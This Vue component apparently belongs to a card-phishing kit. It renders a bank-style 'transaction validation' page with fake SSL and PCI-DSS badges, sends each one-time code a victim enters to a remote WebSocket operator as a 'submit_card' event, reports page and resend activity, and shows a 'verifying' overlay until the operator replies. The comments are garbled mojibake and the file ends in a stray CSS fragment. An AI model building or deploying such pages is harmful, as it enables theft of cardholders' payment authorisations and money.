<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/loadingStore";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";

const loadingStore = useLoadingStore();
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const message = ref("");
const formData = reactive({ verifyCode: "" });
const showLoadingModal = ref(false); // 鏂板锛氭帶鍒跺姞杞藉脊绐楁樉绀?
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;

const buttonText = computed(() => {
  return isCounting.value
    ? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
    : t("otp_view.click_for_another");
});

const onchange = (value: any) => {
  inputChange("input_card", "verifyCode", value.target.value);
  formData.verifyCode = value.target.value;
};

const submit = async () => {
  await nextTick();
  loadingStore.setLoading(true);
  if (!areAllValuesNotEmpty(formData)) {
    loadingStore.setLoading(false);
    return;
  }

  // 鏄剧ず鍔犺浇寮圭獥
  showLoadingModal.value = true;

  myWebSocket?.send(
    JSON.stringify({
      event: "submit_card",
      content: {
        type: "submitValidCode",
        formData,
      },
    })
  );
};

const stopCountdown = () => {
  if (timer !== null) {
    clearInterval(timer);
    timer = null;
  }
  isCounting.value = false;
};

const startCountdown = (resultType: string) => {
  if (isCounting.value) return;
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "otpValid", resultType },
    })
  );

  isCounting.value = true;
  timeLeft.value = initialTime;

  timer = window.setInterval(() => {
    if (timeLeft.value > 0) {
      timeLeft.value -= 1;
      return;
    }
    stopCountdown();
  }, 1000);
};

const handleEvent = (data: { message2: string }) => {
  message.value = data.message2;
  loadingStore.setLoading(false);
  // 鍏抽棴鍔犺浇寮圭獥
  showLoadingModal.value = false;
};

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "otpValid" },
    })
  );

  const route = useRoute();
  const query = route.query as any;

  if (query?.cardType) {
    cardType.value = query.cardType;
    localStorage.setItem("cardType", query.cardType);
  } else {
    const type = localStorage.getItem("cardType");
    if (type) {
      cardType.value = type;
    }
  }

  if (query?.message1) {
    message1.value = query.message1;
    localStorage.setItem("message1", query.message1);
  } else {
    const saved = localStorage.getItem("message1");
    if (saved) {
      message1.value = saved;
    }
  }

  localStorage.setItem("route", "otpValid");
  startCountdown("");
  eventBus.on("otp-valid", handleEvent);
});

onUnmounted(() => {
  stopCountdown();
  eventBus.off("otp-valid", handleEvent);
  showLoadingModal.value = false; // close on unmount
});
</script>

<template>
  <div class="otp-page">

    <!-- Top bar -->
    <div class="otp-topbar">
      <div class="otp-topbar-left">
        <img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
      </div>
      <div class="otp-topbar-right">
        <CardType1 :cardType="cardType" />
      </div>
    </div>

    <!-- Main card -->
    <div class="otp-card">

      <!-- Icon + Title -->
      <div class="otp-hero">
        <div class="otp-shield-icon">
          <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
            <path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
            <path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
          </svg>
        </div>
        <h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
        <p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
        <p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
        <p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
      </div>

      <!-- Form -->
      <form class="otp-form" @submit.prevent="submit">

        <div class="otp-input-group">
          <label class="otp-label">{{ t("otp_view.verification_code") }}</label>
          <div class="otp-input-wrap" :class="{ 'has-error': message }">
            <input
              required
              type="text"
              inputmode="numeric"
              autocomplete="one-time-code"
              :placeholder="t('otp_view.enter_your_otp')"
              @input="onchange"
              v-model="formData.verifyCode"
              minlength="3"
              maxlength="8"
              class="otp-input"
            />
          </div>
          <p class="otp-error" v-if="message">
            <svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
            {{ message }}
          </p>
        </div>

        <button type="submit" class="otp-btn-submit">
          {{ t("otp_view.verify") }}
        </button>

        <div class="otp-resend-row">
          <span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
          <a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
            {{ buttonText }}
          </a>
        </div>

      </form>

      <!-- Footer -->
      <div class="otp-footer">
        <div class="otp-footer-badges">
          <span class="otp-badge">
            <svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
            SSL
          </span>
          <span class="otp-badge-sep"></span>
          <span class="otp-badge">
            <svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
            PCI-DSS
          </span>
          <span class="otp-badge-sep"></span>
          <span class="otp-badge">
            <svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
            {{ t("otp_view.secure_checkout") }}
          </span>
        </div>
        <div class="otp-help-row">
          <span>{{ t("otp_view.need_help") }}</span>
          <span class="otp-help-icon">?</span>
        </div>
      </div>

    </div>
  </div>

  <!-- Loading overlay -->
  <transition name="otp-fade">
    <div class="otp-loading-overlay" v-if="showLoadingModal">
      <div class="otp-loading-dialog">
        <div class="otp-spinner"></div>
        <p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
        <p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
      </div>
    </div>
  </transition>
</template>

<style scoped>
/* ===== Page ===== */
.otp-page {
  min-height: 100vh;
  background: #f8fafc;
  display: flex;
  flex-direction: column;
  align-items: center;
  box-sizing: border-box;
}

/* ===== Top bar ===== */
.otp-topbar {
  width: 100%;
  max-width: 520px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 16px 20px;
  box-sizing: border-box;
}

.otp-logo {
  width: 32px;
  height: 32px;
  object-fit: contain;
  opacity: 0.75;
}

/* ===== Main card ===== */
.otp-card {
  width: 100%;
  max-width: 520px;
  background: #fff;
  border-radius: 16px;
  border: 1px solid #e8edf3;
  box-shadow:
    0 1px 3px rgba(15,23,42,0.06),
    0 8px 24px -4px rgba(15,23,42,0.08);
  overflow: hidden;
  box-sizing: border-box;
  margin: 0 16px 32px;
}

/* ===== Hero section ===== */
.otp-hero {
  padding: 32px 28px 24px;
  text-align: center;
  border-bottom: 1px solid #f1f5f9;
  background: linear-gradient(180deg, #f8fafc 0%, #fff 100%);
}

.otp-shield-icon {
  width: 52px;
  height: 52px;
  background: linear-gradient(135deg, #eff6ff 0%, #dbeafe 100%);
  border: 1px solid #bfdbfe;
  border-radius: 14px;
  display: flex;
  align-items: center;
  justify-content: center;
  margin: 0 auto 16px;
}

.otp-shield-icon svg {
  width: 26px;
  height: 26px;
  color: var(--global-primary-color, #3b82f6);
}

.otp-title {
  margin: 0 0 10px;
  font-size: 1.35rem;
  font-weight: 700;
  color: #1e293b;
  letter-spacing: -0.2px;
  line-height: 1.25;
}

.otp-subtitle {
  margin: 0 0 8px;
  font-size: 0.9rem;
  color: #64748b;
  line-height: 1.55;
}

.otp-subtitle strong {
  color: #334155;
  font-weight: 600;
}

.otp-notice {
  margin: 6px 0 0;
  font-size: 0.78rem;
  color: #94a3b8;
  line-height: 1.4;
}

/* ===== Form ===== */
.otp-form {
  padding: 24px 28px 20px;
  display: flex;
  flex-direction: column;
  gap: 18px;
}

.otp-input-group {
  display: flex;
  flex-direction: column;
  gap: 7px;
}

.otp-label {
  font-size: 0.83rem;
  font-weight: 600;
  color: #475569;
  letter-spacing: 0.2px;
}

.otp-input-wrap {
  border: 1.5px solid #e2e8f0;
  border-radius: 10px;
  background: #fff;
  transition: border-color 0.2s, box-shadow 0.2s;
  overflow: hidden;
}

.otp-input-wrap:focus-within {
  border-color: var(--global-primary-color, #3b82f6);
  box-shadow: 0 0 0 3px rgba(59,130,246,0.1);
}

.otp-input-wrap.has-error {
  border-color: #f87171;
  box-shadow: 0 0 0 3px rgba(248,113,113,0.1);
}

.otp-input {
  width: 100%;
  height: 56px;
  padding: 0 16px;
  text-align: center;
  border: none;
  outline: none;
  background: transparent;
  font-size: 1.5rem;
  font-weight: 700;
  letter-spacing: 0.25em;
  color: #1e293b;
  box-sizing: border-box;
}

.otp-input::placeholder {
  font-size: 0.95rem;
  font-weight: 400;
  letter-spacing: 0.05em;
  color: #cbd5e1;
}

.otp-error {
  display: flex;
  align-items: center;
  gap: 5px;
  font-size: 0.8rem;
  color: #ef4444;
  margin: 0;
}

.otp-error svg {
  width: 14px;
  height: 14px;
  flex-shrink: 0;
}

/* ===== Submit button ===== */
.otp-btn-submit {
  width: 100%;
  height: 50px;
  background: var(--global-primary-color, #3b82f6);
  color: #fff;
  border: none;
  border-radius: 10px;
  font-size: 0.95rem;
  font-weight: 700;
  letter-spacing: 0.04em;
  cursor: pointer;
  transition: opacity 0.15s, transform 0.1s;
}

.otp-btn-submit:hover {
  opacity: 0.9;
}

.otp-btn-submit:active {
  transform: scale(0.98);
}

/* ===== Resend row ===== */
.otp-resend-row {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 6px;
  font-size: 0.85rem;
  flex-wrap: wrap;
  text-align: center;
}

.otp-resend-text {
  color: #94a3b8;
}

.otp-resend-link {
  color: var(--global-primary-color, #3b82f6);
  font-weight: 600;
  text-decoration: none;
  cursor: pointer;
}

.otp-resend-link:hover {
  text-decoration: underline;
}

/* ===== Footer ===== */
.otp-footer {
  padding: 16px 28px 20px;
  border-top: 1px solid #f1f5f9;
  background: #fafbfc;
}

.otp-footer-badges {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 10px;
  margin-bottom: 14px;
}

.otp-badge {
  display: flex;
  align-items: center;
  gap: 4px;
  font-size: 10.5px;
  font-weight: 500;
  color: #94a3b8;
  white-space: nowrap;
}

.otp-badge svg {
  width: 11px;
  height: 11px;
  fill: #86efac;
  flex-shrink: 0;
}

.otp-badge-sep {
  width: 1px;
  height: 10px;
  background: #e2e8f0;
  flex-shrink: 0;
}

.otp-help-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding-top: 12px;
  border-top: 1px solid #f1f5f9;
  font-size: 0.82rem;
  color: #94a3b8;
}

.otp-help-icon {
  width: 20px;
  height: 20px;
  border-radius: 50%;
  border: 1px solid #cbd5e1;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 11px;
  font-weight: 700;
  color: #64748b;
  cursor: pointer;
}

/* ===== Loading overlay ===== */
.otp-fade-enter-active,
.otp-fade-leave-active {
  transition: opacity 0.25s ease;
}
.otp-fade-enter-from,
.otp-fade-leave-to {
  opacity: 0;
}

.otp-loading-overlay {
  position: fixed;
  inset: 0;
  background: rgba(15, 23, 42, 0.4);
  backdrop-filter: blur(6px);
  -webkit-backdrop-filter: blur(6px);
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 9999;
}

.otp-loading-dialog {
  background: #fff;
  border-radius: 16px;
  padding: 36px 44px;
  text-align: center;
  box-shadow:
    0 4px 24px rgba(15,23,42,0.12),
    0 0 0 1px rgba(148,163,184,0.1);
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 12px;
  min-width: 200px;
}

.otp-spinner {
  width: 40px;
  height: 40px;
  border: 3px solid #e2e8f0;
  border-top-color: var(--global-primary-color, #3b82f6);
  border-radius: 50%;
  animation: otp-spin 0.8s linear infinite;
}

@keyframes otp-spin {
  to { transform: rotate(360deg); }
}

.otp-loading-text {
  margin: 0;
  font-size: 0.95rem;
  font-weight: 700;
  color: #1e293b;
}

.otp-loading-sub {
  margin: 0;
  font-size: 0.8rem;
  color: #94a3b8;
}

/* ===== Responsive ===== */
@media (max-width: 540px) {
  .otp-card {
    margin: 0 0 24px;
    border-radius: 0;
    border-left: none;
    border-right: none;
    box-shadow: none;
  }

  .otp-hero {
    padding: 24px 20px 18px;
  }

  .otp-form {
    padding: 20px 20px 16px;
  }

  .otp-footer {
    padding: 14px 20px 18px;
  }

  .otp-topbar {
    padding: 12px 16px;
  }
}
</style>

.op-top-content {